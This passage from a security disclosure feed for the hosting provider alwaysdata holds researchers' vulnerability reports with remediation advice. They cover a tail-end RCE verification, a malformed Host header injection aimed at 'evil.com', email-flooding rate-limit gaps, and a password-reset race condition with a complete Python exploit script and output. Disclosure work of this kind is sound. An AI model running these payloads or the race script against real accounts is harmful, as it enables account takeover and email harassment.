Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata&#039;s server.

Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  &quot;https://api.alwaysdata.com/v1/job/?format=json&quot;

curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  -X DELETE &quot;https://api.alwaysdata.com/v1/job/JOB_ID/?format=json&quot;

</pre>

</div>
</div>
    </content>
    <author><name>Siddharth</name></author>
    <id>https://security.alwaysdata.com/:518</id>
  </entry>
    <entry>
    <title>FS#517: 500 ISE via Host Header @ Injection on /password/lost/ (CVSS 3.3 Low)</title>
    <link href="https://security.alwaysdata.com/task/517" />    
    <updated>2026-10-05T07:25:25Z</updated>    
    <published>2026-10-04T09:03:55Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary
</p>

<p>
Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 500 Internal Server Error on /password/lost/. Standard Host values work correctly.
</p>

<p>
Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation)<br />CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
</p>

<p>
## Reproduce<br />Raw TCP/<acronym title="Transport Layer Security">TLS</acronym> request:
</p>

<p>
Host: admin.alwaysdata.com@evil.com GET /password/lost/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1
</p>

<p>
Response: <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 500 Internal Server Error
</p>

<p>
Normal Host: admin.alwaysdata.com returns <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200.
</p>

<p>
## Evidence<br />- @-injection in Host header triggers 500 ISE<br />- Clean Host value returns 200 (no issue)<br />- No data leakage in error response observed
</p>

<p>
## Impact<br />Indicates Host header input reaches internal processing (likely <acronym title="Uniform Resource Locator">URL</acronym> building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.
</p>

<p>
## Remediation<br />Validate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 400.
</p>

<p>
Researcher: adityahadipratama4@gmail.com 
</p>
</div>
    </content>
    <author><name>Aditya Hadipratama</name></author>
    <id>https://security.alwaysdata.com/:517</id>
  </entry>
    <entry>
    <title>FS#516: No Rate Limit on /support/add/ — Support Ticket Spam (CVSS 3.7 Low)</title>
    <link href="https://security.alwaysdata.com/task/516" />    
    <updated>2026-10-05T07:24:17Z</updated>    
    <published>2026-10-04T09:03:26Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary
</p>

<p>
POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata&#039;s support team inbox.
</p>

<p>
Severity: Low (CVSS 3.7) | CWE-307<br />CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
</p>

<p>
## Reproduce<br />1. Log in with any free account<br />2. Fire 20 rapid POSTs to /support/add/ with subject/message fields<br />3. All 20 return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 — no 429 triggered
</p>

<p>
## Impact<br />- Staff inbox flooding via ticket spam<br />- Can bury legitimate support requests<br />- Degrades quality of service for legitimate customers
</p>

<p>
## Remediation<br />Limit: 5-10 tickets/hour per user account.
</p>

<p>
Researcher: adityahadipratama4@gmail.com 
</p>
</div>
    </content>
    <author><name>Aditya Hadipratama</name></author>
    <id>https://security.alwaysdata.com/:516</id>
  </entry>
    <entry>
    <title>FS#515: No Rate Limit on /transfer/add/ — Invitation Spam Abuse (CVSS 5.3 Medium)</title>
    <link href="https://security.alwaysdata.com/task/515" />    
    <updated>2026-10-05T07:24:00Z</updated>    
    <published>2026-10-04T09:02:58Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary
</p>

<p>
POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata&#039;s invitation email system for harassment.
</p>

<p>
Severity: Medium (CVSS 5.3) | CWE-307<br />CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
</p>

<p>
## Reproduce<br />1. Log in with any free account<br />2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 — no throttling triggered
</p>

<p>
## Evidence<br />- 30/30 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (parallel, ~1.55s total)<br />- No 429 even under concurrent load
</p>

<p>
## Impact<br />- Spam victim with unlimited alwaysdata-branded transfer invitation emails<br />- Abuse alwaysdata sending reputation for targeted harassment
</p>

<p>
## Remediation<br />Limit: 5-10 invitations/hour per user + 3/day per target email.
</p>

<p>
Researcher: adityahadipratama4@gmail.com Full <acronym title="Portable Document Format">PDF</acronym> report (4 findings) attached via support ticket.<br />
</p>
</div>
    </content>
    <author><name>Aditya Hadipratama</name></author>
    <id>https://security.alwaysdata.com/:515</id>
  </entry>
    <entry>
    <title>FS#514: No Rate Limit on /password/lost/ — Email Flooding (CVSS 5.3 Medium, CWE-307)</title>
    <link href="https://security.alwaysdata.com/task/514" />    
    <updated>2026-10-05T07:21:13Z</updated>    
    <published>2026-10-04T09:02:28Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary
</p>

<p>
POST /password/lost/ has no rate limiting. An attacker can flood any user inbox with unlimited reset emails without auth.
</p>

<p>
Severity: Medium (CVSS 5.3) | CWE-307<br />CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
</p>

<p>
## Reproduce
</p>

<p>
1. Get CSRF: curl -c /tmp/c.txt admin.alwaysdata.com/password/lost/ -o /dev/null<br />2. Fire 15 POST requests: all return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (no 429)<br />3. Contrast: /login/ returns 429 at attempt 11
</p>

<p>
## Evidence<br />15/15 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 with no throttling on /password/lost/<br />Login endpoint correctly throttles at attempt 11 - infrastructure supports rate limiting
</p>

<p>
## Impact<br />- Flood any user inbox with unlimited reset emails (no auth needed)<br />- Consume alwaysdata mail delivery resources<br />- Email-harass targeted users via alwaysdata domain
</p>

<p>
## Remediation<br />Rate limit: 3-5 req/hour per IP + 3/hour per email. Reuse infra from /login/.
</p>

<p>
Researcher: adityahadipratama4@gmail.com Full <acronym title="Portable Document Format">PDF</acronym> report (4 findings) attached via support ticket.<br />
</p>
</div>
    </content>
    <author><name>Aditya Hadipratama</name></author>
    <id>https://security.alwaysdata.com/:514</id>
  </entry>
    <entry>
    <title>FS#513: Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix</title>
    <link href="https://security.alwaysdata.com/task/513" />    
    <updated>2026-10-02T07:19:31Z</updated>    
    <published>2026-10-02T06:22:05Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix
</p>

<p>
<strong>Affected endpoint:</strong> `POST <a href="https://admin.alwaysdata.com/user/reset_password/?user_id=" class="urlextern" title="https://admin.alwaysdata.com/user/reset_password/?user_id="  rel="nofollow">https://admin.alwaysdata.com/user/reset_password/?user_id=</a>&lt;u&gt;&amp;token=&lt;t&gt;&amp;expiration=&lt;e&gt;` (the link sent by `POST /password/lost/`)<br /><strong>Related:</strong> #279 (&quot;reusable login token <acronym title="Uniform Resource Locator">URL</acronym>&quot;) — this report shows the single-use fix it introduced does not hold under concurrency
</p>

<p>
## Summary<br />The password-reset link is single-use <strong>sequentially</strong>: a second use submitted after the first one completes returns *&quot;Le lien utilisé est invalide&quot;* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, <strong>all of them pass the validity check and all are processed as a successful reset</strong> — each returns `200` with the authenticated panel and issues an authenticated session. Final run: <strong>4/4 concurrent requests accepted</strong>; earlier runs: 2/2 accepted (both times).
</p>

<p>
Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim&#039;s reset appears to proceed, while the attacker&#039;s simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.
</p>

<p>
## Preconditions<br />- An account whose mailbox the tester controls (own test accounts were used; free plan).<br />- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence <strong>Low</strong>; the finding is that the documented single-use property fails under concurrency.
</p>

<p>
## Steps to reproduce<br />1. Request a reset link (own account):
</p>
<pre class="code"> ```
 curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
 curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
      -H &#039;Referer: https://admin.alwaysdata.com/password/lost/&#039; \
      --data-urlencode &#039;csrfmiddlewaretoken=&lt;csrf&gt;&#039; \
      --data-urlencode &#039;email=&lt;account email&gt;&#039;
 ```
 → `200` on `/password/sent/`; the e-mail contains:
 `https://admin.alwaysdata.com/user/reset_password/?user_id=…&amp;token=…&amp;expiration=…`</pre>

<p>
 2. <strong>Control (sequential).</strong> Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only <strong>after</strong> the first has completed. Result: first accepted, second rejected.
</p>

<p>
3. <strong>Race.</strong> N sessions each GET the link first, then POST <strong>simultaneously</strong> (thread barrier; `&amp;` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.
</p>

<p>
Self-contained repro script (`python3 poc.py &quot;&lt;link&gt;&quot; &lt;control|race&gt; &lt;N&gt;`):
</p>

<p>
```python<br />import re, sys, threading, urllib.parse, urllib.request, http.cookiejar
</p>

<p>
BASE = &quot;<a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a>&quot;
</p>

<p>
def new_session(link):
</p>
<pre class="code">  cj = http.cookiejar.CookieJar()
  op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  body = op.open(link, timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  csrf = re.search(r&#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;([^&quot;]+)&quot;&#039;, body).group(1)
  return op, csrf</pre>

<p>
 def submit(op, link, csrf, password):
</p>
<pre class="code">  data = urllib.parse.urlencode({&quot;csrfmiddlewaretoken&quot;: csrf, &quot;password&quot;: password}).encode()
  body = op.open(urllib.request.Request(link, data=data,
                headers={&quot;Referer&quot;: link}), timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  flat = re.sub(r&quot;&lt;[^&gt;]+&gt;&quot;, &quot; &quot;, re.sub(r&quot;&lt;script.*?&lt;/script&gt;&quot;, &quot; &quot;, body, flags=re.S))
  if &quot;lien utilisé est invalide&quot; in flat: return &quot;INVALID (rejected)&quot;
  if &quot;Logout&quot; in flat:                    return &quot;ACCEPTED (authenticated panel page)&quot;
  return &quot;?&quot; </pre>

<p>
 def is_authed(op):
</p>
<pre class="code">  home = op.open(BASE + &quot;/&quot;, timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  return &quot;Logout&quot; in re.sub(r&quot;&lt;[^&gt;]+&gt;&quot;, &quot; &quot;, re.sub(r&quot;&lt;script.*?&lt;/script&gt;&quot;, &quot; &quot;, home, flags=re.S))</pre>

<p>
 link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])<br />sess = [new_session(link) for _ in range(n)]<br />if mode == &quot;control&quot;:                      # second POST after the first completed
</p>
<pre class="code">  for i, (op, csrf) in enumerate(sess):
      print(&quot;POST #%d:&quot; % i, submit(op, link, csrf, &quot;SeqPw%d!x7Kq&quot; % i))</pre>

<p>
else:                                      # all POSTs fired simultaneously
</p>
<pre class="code">  out, barrier = {}, threading.Barrier(n)
  def worker(i):
      barrier.wait()
      out[i] = submit(sess[i][0], link, sess[i][1], &quot;RacePw%d!xyz&quot; % i)
  ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
  [t.start() for t in ts]; [t.join() for t in ts]
  for i in sorted(out): print(&quot;parallel POST #%d:&quot; % i, out[i])</pre>

<p>
for i, (op, _) in enumerate(sess):
</p>
<pre class="code">  print(&quot;session #%d authenticated: %s&quot; % (i, is_authed(op)))</pre>

<p>
```
</p>

<p>
<strong>Observed — race (`race`, N=4, fresh link from a newly requested e-mail):</strong> ```<br />parallel POST #0: ACCEPTED (authenticated panel page)<br />parallel POST #1: ACCEPTED (authenticated panel page)<br />parallel POST #2: ACCEPTED (authenticated panel page)<br />parallel POST #3: ACCEPTED (authenticated panel page)<br />session #0 authenticated: True<br />session #1 authenticated: True<br />session #2 authenticated: True<br />session #3 authenticated: True<br />```<br />Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).
</p>

<p>
## Impact<br />- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.<br />- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker&#039;s parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.<br />- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.
</p>

<p>
## Remediation<br />- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=&lt;t&gt; AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as &quot;already used&quot; — reject in-flight duplicates instead of processing them.<br />- Mark the token used <strong>before</strong> applying the password change, so exactly one concurrent request wins.<br />- Defence in depth: on successful reset, invalidate the user&#039;s other outstanding reset links and existing sessions.
</p>
</div>
    </content>
    <author><name>Arjun</name></author>
    <id>https://security.alwaysdata.com/:513</id>
  </entry>
  </feed>
